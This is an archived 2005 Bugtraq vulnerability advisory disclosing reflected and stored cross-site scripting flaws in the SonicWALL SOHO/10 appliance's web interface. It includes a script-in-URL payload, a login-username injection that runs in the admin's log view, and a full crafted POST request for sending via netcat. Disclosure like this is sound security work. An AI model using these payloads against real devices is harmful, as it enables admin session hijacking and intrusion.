lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 4 Apr 2005 12:34:20 +0200 (MEST)
From: "Oliver Karow" <Oliver.Karow@....de>
To: bugtraq@...urityfocus.com
Subject: SonicWALL SOHO/10 - XSS vulnerability


SonicWALL SOHO/10 - XSS and Code Injection vulnerability
========================================================

Product:
========

SonicWall SOHO/10 is the 2nd generation Internet Security Appliance from
Sonicwall, with firewall-, vpn-, contentfiltering- and other capabilities. 


Vulnerability:
==============

There is a Cross Site Scripting Vulnerability in the webroot. 
A HTTP-GET-request, containing script code will be executed
in the webbrowsers environment of the user:


	http://192.168.168.168/<script>alert("Its not magic... its a
sonic")</script>


There is a second vulnerability, which i consider as something between a XSS
and a code-injection vuln,
because the user does not have to follow an html-link to run into the
attack:

If an attacker supplies a username, containing scriptcode, at the login-page
of the device, an entry in the 
system logfile is done, containing the "username".

The system logfile is displayed in html-format. If the appliance admin is
viewing the logfile, the scriptcode
will be executed.

	Because length of input field is limited by the browser (client site), you
can insert a short script
	into the username field to do a quick verification of the existence of the
vuln:

		</TD><script>alert("!")</script>

	To supply longer scripts, you have to modify the request f.e. with a proxy,
or simply sent a modified 
	post request via netcat:

		
		POST http://192.168.168.168:80/auth.cgi HTTP/1.0
		Accept: */*
		Referer: http://192.168.168.168/auth.html
		Accept-Language: de
		Content-Type: application/x-www-form-urlencoded
		Proxy-Connection: Keep-Alive
		User-Agent: BadGuy
		Host: 192.168.168.168
		Content-Length: 160
		Pragma: no-cache

		uName=</TD><script>alert("Its not magic... its a
sonic")</script>&pass=NiceTry&Submit=Login&clientHash=bbe63bb858b02e741d2d12023ee350a1



Version:
========

I only tested the following version:

SonicWall SOHO/10
Firmware: 5.1.7.0
ROM-Version: 4.0.0

Other versions may also be affected.

Vendor:
=======

Website: http://www.sonicwall.com
Status: informed

Discovered by:
==============

Oliver Karow
Date: 29.03.2005
Website: http://www.oliverkarow.de/research/sonicwall.txt

-- 
Handyrechnung zu hoch? Tipp: SMS und MMS mit GMX
Seien Sie so frei: Alle Infos unter http://www.gmx.net/de/go/freesms


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ